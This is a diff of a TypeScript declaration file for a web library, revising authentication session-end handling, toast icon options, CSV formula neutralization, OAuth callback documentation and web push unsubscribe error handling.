export declare class SessionSupersededError extends Error {
|
|
14896
|
+
constructor();
|
|
14897
|
+
}
|
|
14898
|
+
|
|
13913
14899
|
/**
|
|
13914
14900
|
* Send an element's audio to a specific output device.
|
|
13915
14901
|
*
|
|
@@ -15158,9 +16144,23 @@ export declare interface TempestAuth<TUser, TCredentials> {
|
|
|
15158
16144
|
api: ApiClient;
|
|
15159
16145
|
/** Authenticate, store the session, and resolve the user (or null). */
|
|
15160
16146
|
login: (credentials: TCredentials) => Promise<TUser | null>;
|
|
15161
|
-
/**
|
|
15162
|
-
|
|
15163
|
-
|
|
16147
|
+
/**
|
|
16148
|
+
* End the session: supersede any refresh in flight, clear the store and the
|
|
16149
|
+
* stored refresh token, then run `onSessionEnd`.
|
|
16150
|
+
*
|
|
16151
|
+
* The store is cleared synchronously, before the first `await`, so callers
|
|
16152
|
+
* that ignore the promise see the signed-out state at once. The promise
|
|
16153
|
+
* resolves when `onSessionEnd` settled — and, with `logoutPath`, when the
|
|
16154
|
+
* server-side revocation settled too — and rejects with the hook's error;
|
|
16155
|
+
* a failed revocation never rejects it.
|
|
16156
|
+
*/
|
|
16157
|
+
logout: () => Promise<void>;
|
|
16158
|
+
/**
|
|
16159
|
+
* Refresh the access token (deduplicated across concurrent callers).
|
|
16160
|
+
*
|
|
16161
|
+
* @throws {SessionSupersededError} When the session ended or changed while
|
|
16162
|
+
* the refresh was in flight; its tokens were discarded.
|
|
16163
|
+
*/
|
|
15164
16164
|
refresh: () => Promise<void>;
|
|
15165
16165
|
/** The current access token, or null. */
|
|
15166
16166
|
getToken: () => string | null;
|
|
@@ -15233,6 +16233,35 @@ export declare interface TempestRouteObject {
|
|
|
15233
16233
|
caseSensitive?: boolean;
|
|
15234
16234
|
}
|
|
15235
16235
|
|
|
16236
|
+
/**
|
|
16237
|
+
* What {@link CreateTempestAuthOptions.onSessionEnd} receives about the session
|
|
16238
|
+
* that just ended.
|
|
16239
|
+
*/
|
|
16240
|
+
declare interface TempestSessionEnd<TUser> {
|
|
16241
|
+
/**
|
|
16242
|
+
* Why it ended: `"logout"` for an explicit `logout()`, `"expired"` when the
|
|
16243
|
+
* client ended it on its own — the refresh failed, or the request replayed
|
|
16244
|
+
* after a refresh still came back `401` — and `"switch"` when `login()`
|
|
16245
|
+
* succeeded for another set of credentials while this session was live.
|
|
16246
|
+
*/
|
|
16247
|
+
reason: "logout" | "expired" | "switch";
|
|
16248
|
+
/** The user of the ended session, as the store held it. */
|
|
16249
|
+
user: TUser | null;
|
|
16250
|
+
/** The access token of the ended session, or `null` when it had none. */
|
|
16251
|
+
token: string | null;
|
|
16252
|
+
/**
|
|
16253
|
+
* A client that sends the ended session's access token — the store has
|
|
16254
|
+
* already been cleared, so `auth.api` no longer does.
|
|
16255
|
+
*
|
|
16256
|
+
* Use it for the server-side half of the teardown, such as deleting this
|
|
16257
|
+
* browser's push subscription. It never refreshes and never ends a session:
|
|
16258
|
+
* a `401` here just rejects. On `"logout"` the token is usually still
|
|
16259
|
+
* valid; on `"expired"` the server has already refused it, so expect the
|
|
16260
|
+
* call to fail and keep the local half of the teardown independent of it.
|
|
16261
|
+
*/
|
|
16262
|
+
api: ApiClient;
|
|
16263
|
+
}
|
|
16264
|
+
|
|
15236
16265
|
/** The token envelope returned by a Tempest FastAPI SDK login/refresh route. */
|
|
15237
16266
|
export declare interface TempestTokenResponse {
|
|
15238
16267
|
/** The bearer access token. */
|
|
@@ -15434,6 +16463,16 @@ export declare interface TimePickerProps {
|
|
|
15434
16463
|
|
|
15435
16464
|
export { To }
|
|
15436
16465
|
|
|
16466
|
+
/**
|
|
16467
|
+
* Horizontal alignment of a toast's title and description.
|
|
16468
|
+
*
|
|
16469
|
+
* `"start"` is the default because a toast is read as a sentence beside a close
|
|
16470
|
+
* button: left-aligned lines share one edge with the icon and the stack, so a
|
|
16471
|
+
* two-line description stays scannable. `"center"` exists for the short
|
|
16472
|
+
* celebratory toast (an achievement with a badge) where the text is one line.
|
|
16473
|
+
*/
|
|
16474
|
+
export declare type ToastAlign = "start" | "center";
|
|
16475
|
+
|
|
15437
16476
|
export declare interface ToastApi {
|
|
15438
16477
|
show: (options: ToastOptions) => string;
|
|
15439
16478
|
dismiss: (id: string) => void;
|
|
@@ -15450,6 +16489,30 @@ export declare interface ToastOptions {
|
|
|
15450
16489
|
variant?: ToastVariant;
|
|
15451
16490
|
/** Auto-dismiss timeout in ms. Pass `0` to keep the toast until dismissed manually. */
|
|
15452
16491
|
duration?: number;
|
|
16492
|
+
/**
|
|
16493
|
+
* Leading slot rendered before the text, e.g. `<img src="/badge.svg" alt="" />`.
|
|
16494
|
+
*
|
|
16495
|
+
* It is an app asset, so it takes any `ReactNode` — but it is a slot for an
|
|
16496
|
+
* **icon**, not for a control. The wrapper is `inert`, so a button or link put
|
|
16497
|
+
* here is neither focusable nor clickable; actions belong outside the toast.
|
|
16498
|
+
*
|
|
16499
|
+
* The slot is decorative (`aria-hidden`) unless {@link ToastOptions.iconLabel}
|
|
16500
|
+
* is given: most icons repeat what the title already says, and an unlabelled
|
|
16501
|
+
* image inside the live region would otherwise be announced as "image" or by
|
|
16502
|
+
* its file name. An `<img>` or `<svg>` anywhere inside it is capped at 32px and
|
|
16503
|
+
* keeps its aspect ratio. A node that renders nothing (`null`, a boolean, `""`,
|
|
16504
|
+
* `[]`, an empty fragment) counts as no icon, so the toast keeps two columns.
|
|
16505
|
+
*/
|
|
16506
|
+
icon?: ReactNode;
|
|
16507
|
+
/**
|
|
16508
|
+
* Accessible name for {@link ToastOptions.icon} when the icon carries meaning
|
|
16509
|
+
* the text does not. With it the slot becomes `role="img"` with this label and
|
|
16510
|
+
* is announced together with the toast; without it the slot is hidden from
|
|
16511
|
+
* assistive technology.
|
|
16512
|
+
*/
|
|
16513
|
+
iconLabel?: string;
|
|
16514
|
+
/** Text alignment of title and description. Default `"start"`; see {@link ToastAlign}. */
|
|
16515
|
+
align?: ToastAlign;
|
|
15453
16516
|
}
|
|
15454
16517
|
|
|
15455
16518
|
export declare type ToastPosition = "top-right" | "top-left" | "top-center" | "bottom-right" | "bottom-left" | "bottom-center";
|
|
@@ -15473,7 +16536,9 @@ export declare type ToastVariant = "success" | "warning" | "error" | "info";
|
|
|
15473
16536
|
* Serialize rows to CSV text, RFC 4180 style.
|
|
15474
16537
|
*
|
|
15475
16538
|
* Rows are separated by `\r\n` — the RFC's terminator and the one Excel is least
|
|
15476
|
-
* surprised by.
|
|
16539
|
+
* surprised by. Text that a spreadsheet would evaluate as a formula is written
|
|
16540
|
+
* with a leading `'` unless `neutralizeFormulas` is `false` (see
|
|
16541
|
+
* {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the
|
|
15477
16542
|
* person who opens the file sees which columns they asked for instead of a blank
|
|
15478
16543
|
* document.
|
|
15479
16544
|
*
|
|
@@ -15486,7 +16551,7 @@ export declare type ToastVariant = "success" | "warning" | "error" | "info";
|
|
|
15486
16551
|
*
|
|
15487
16552
|
* @param rows - The rows to export.
|
|
15488
16553
|
* @param columns - Columns, in the order they should appear.
|
|
15489
|
-
* @param options - Delimiter and
|
|
16554
|
+
* @param options - Delimiter, BOM and formula neutralization.
|
|
15490
16555
|
* @returns The complete file contents.
|
|
15491
16556
|
*/
|
|
15492
16557
|
export declare function toCsv<T>(rows: readonly T[], columns: readonly CsvColumn<T>[], options?: CsvOptions): string;
|
|
@@ -17699,18 +18764,26 @@ export declare interface UseNotificationInboxResult {
|
|
|
17699
18764
|
* `/callback` routes that receive provider redirects and need to swap a
|
|
17700
18765
|
* code/token for an app session via the backend.
|
|
17701
18766
|
*
|
|
17702
|
-
*
|
|
17703
|
-
*
|
|
18767
|
+
* Runs `exchange` once per logical mount and keeps its result. StrictMode's
|
|
18768
|
+
* simulated unmount/remount in dev and a parent re-render with inline
|
|
18769
|
+
* callbacks used to cancel the only exchange and skip the second, leaving the
|
|
18770
|
+
* hook `"pending"` forever with the single-use code already spent. Now the
|
|
18771
|
+
* options live in a latest-value ref, the effect has no dependencies, and the
|
|
18772
|
+
* result is dropped only when the component is still unmounted when it lands.
|
|
18773
|
+
* The newest `onSuccess`/`onError` are the ones called.
|
|
18774
|
+
*
|
|
18775
|
+
* For a provider redirect, the exchange must carry the `state` along with the
|
|
18776
|
+
* `code`, or no backend can tell a forged callback from a real one (login
|
|
18777
|
+
* CSRF). `exchangeOAuthCallback` does that against a
|
|
18778
|
+
* `tempest-fastapi-sdk` backend; `readOAuthCallbackParams` returns both
|
|
18779
|
+
* values (or throws) for any other backend.
|
|
17704
18780
|
*
|
|
17705
18781
|
* @example
|
|
17706
18782
|
* function OAuthCallback() {
|
|
17707
|
-
* const { loading, error } = useOAuthCallback({
|
|
17708
|
-
* exchange:
|
|
17709
|
-
*
|
|
17710
|
-
*
|
|
17711
|
-
* },
|
|
17712
|
-
* onSuccess: ({ token, user }) => {
|
|
17713
|
-
* useAuthStore.getState().setSession({ user, token });
|
|
18783
|
+
* const { loading, error } = useOAuthCallback<LoginResponse>({
|
|
18784
|
+
* exchange: () => exchangeOAuthCallback<LoginResponse>(api, "google"),
|
|
18785
|
+
* onSuccess: ({ user_id, access_token }) => {
|
|
18786
|
+
* useAuthStore.getState().setSession({ user: { id: user_id }, token: access_token });
|
|
17714
18787
|
* navigate("/dashboard", { replace: true });
|
|
17715
18788
|
* },
|
|
17716
18789
|
* onError: () => navigate("/login?error=oauth", { replace: true }),
|
|
@@ -19945,10 +21018,29 @@ export declare class WebPushClient {
|
|
|
19945
21018
|
*/
|
|
19946
21019
|
subscribe(): Promise<PushSubscription>;
|
|
19947
21020
|
/**
|
|
19948
|
-
* Cancel the current subscription
|
|
19949
|
-
*
|
|
19950
|
-
*
|
|
19951
|
-
*
|
|
21021
|
+
* Cancel the current subscription: `onUnsubscribe` first, so the backend
|
|
21022
|
+
* can purge the record while the endpoint is known, then
|
|
21023
|
+
* `subscription.unsubscribe()` — **always**, even when `onUnsubscribe`
|
|
21024
|
+
* failed.
|
|
21025
|
+
*
|
|
21026
|
+
* Why the browser is released anyway: the two failure modes are not
|
|
21027
|
+
* symmetric. A backend row left behind costs one send to a dead endpoint,
|
|
21028
|
+
* which the push service answers with `404`/`410` and the backend deletes.
|
|
21029
|
+
* A browser subscription left behind keeps delivering this account's
|
|
21030
|
+
* notifications to whoever uses the browser next — and the backend call
|
|
21031
|
+
* fails precisely when that matters, at the end of a session, when the
|
|
21032
|
+
* token that authenticates it is already gone. Before 0.77.0 a rejected
|
|
21033
|
+
* `onUnsubscribe` aborted here and the browser stayed subscribed (#445).
|
|
21034
|
+
* The endpoint is not lost either way: it is read before both calls and
|
|
21035
|
+
* travels in the error.
|
|
21036
|
+
*
|
|
21037
|
+
* @returns True when an active subscription was removed, false when there
|
|
21038
|
+
* was none or the browser refused.
|
|
21039
|
+
* @throws {WebPushUnsubscribeError} When `onUnsubscribe` failed — thrown
|
|
21040
|
+
* after the browser subscription was released. When the browser call also
|
|
21041
|
+
* threw, `browserUnsubscribed` is `false` and `cause` is an
|
|
21042
|
+
* `AggregateError` holding both errors, backend first, so the endpoint the
|
|
21043
|
+
* error carries is never traded for a bare `DOMException`.
|
|
19952
21044
|
*/
|
|
19953
21045
|
unsubscribe(): Promise<boolean>;
|
|
19954
21046
|
}
|
|
@@ -19961,7 +21053,12 @@ export declare interface WebPushClientConfig {
|
|
|
19961
21053
|
* the host app decides the endpoint and how the payload is serialized.
|
|
19962
21054
|
*/
|
|
19963
21055
|
onSubscribe: (subscription: PushSubscriptionJSON) => Promise<void> | void;
|
|
19964
|
-
/**
|
|
21056
|
+
/**
|
|
21057
|
+
* Remove the subscription from the backend. Called before
|
|
21058
|
+
* `subscription.unsubscribe()`, with the subscription's JSON — key the
|
|
21059
|
+
* delete by its `endpoint`. A rejection no longer keeps the browser
|
|
21060
|
+
* subscribed: see {@link WebPushClient.unsubscribe}.
|
|
21061
|
+
*/
|
|
19965
21062
|
onUnsubscribe?: (subscription: PushSubscriptionJSON) => Promise<void> | void;
|
|
19966
21063
|
/**
|
|
19967
21064
|
* Override how the service worker registration is obtained.
|
|
@@ -19975,6 +21072,28 @@ export declare class WebPushPermissionDeniedError extends Error {
|
|
|
19975
21072
|
constructor();
|
|
19976
21073
|
}
|
|
19977
21074
|
|
|
21075
|
+
/**
|
|
21076
|
+
* Thrown by {@link WebPushClient.unsubscribe} when `onUnsubscribe` failed. The
|
|
21077
|
+
* browser subscription was still released — `browserUnsubscribed` says whether
|
|
21078
|
+
* the browser confirmed it — so the only thing left behind is the backend row.
|
|
21079
|
+
*
|
|
21080
|
+
* Carries the `subscription` JSON so the app can retry the delete by
|
|
21081
|
+
* `endpoint` later; if it never does, the push service answers the next send
|
|
21082
|
+
* to that endpoint with `404`/`410`, which is the backend's cue to drop the row.
|
|
21083
|
+
*/
|
|
21084
|
+
export declare class WebPushUnsubscribeError extends Error {
|
|
21085
|
+
/** The subscription whose backend delete failed. */
|
|
21086
|
+
readonly subscription: PushSubscriptionJSON;
|
|
21087
|
+
/** Whether `PushSubscription.unsubscribe()` reported success. */
|
|
21088
|
+
readonly browserUnsubscribed: boolean;
|
|
21089
|
+
/**
|
|
21090
|
+
* @param subscription - The subscription whose backend delete failed.
|
|
21091
|
+
* @param browserUnsubscribed - What `PushSubscription.unsubscribe()` returned.
|
|
21092
|
+
* @param cause - What `onUnsubscribe` threw.
|
|
21093
|
+
*/
|
|
21094
|
+
constructor(subscription: PushSubscriptionJSON, browserUnsubscribed: boolean, cause: unknown);
|
|
21095
|
+
}
|
|
21096
|
+
|
|
19978
21097
|
export declare class WebPushUnsupportedError extends Error {
|
|
19979
21098
|
constructor();
|
|
19980
21099
|
}
|